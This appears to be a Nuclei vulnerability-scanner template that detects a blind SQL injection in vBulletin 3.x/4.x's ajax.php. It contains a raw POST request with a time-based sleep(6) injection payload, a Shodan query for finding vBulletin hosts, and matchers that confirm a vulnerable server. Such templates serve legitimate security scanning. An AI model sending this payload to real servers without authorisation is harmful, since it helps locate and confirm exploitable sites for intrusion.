id: vbulletin-ajaxreg-sqli

info:
  name: vBulletin 3.x / 4.x AjaxReg - SQL Injection
  author: MaStErChO
  severity: critical
  description: |
    vBulletin versions 3.x and 4.x suffer from an AjaxReg remote blind SQL injection vulnerability.
  reference:
    - https://packetstormsecurity.com/files/118703/vBulletin-3.x-4.x-AjaxReg-SQL-Injection.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-89
  metadata:
    max-request: 1
    verified: true
    shodan-query: http.component:"vBulletin"
  tags: vbulletin,ajaxreg,sqli

http:
  - raw:
      - |
        POST /ajax.php?do=inforum&listforumid=(select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'"%2B(select(0)from(select(sleep(6)))v)%2B"*/&result=10 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        undefined&s=&securitytoken=guest

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains_any(header, "bb_lastvisit", "bb_sessionhash")'
        condition: and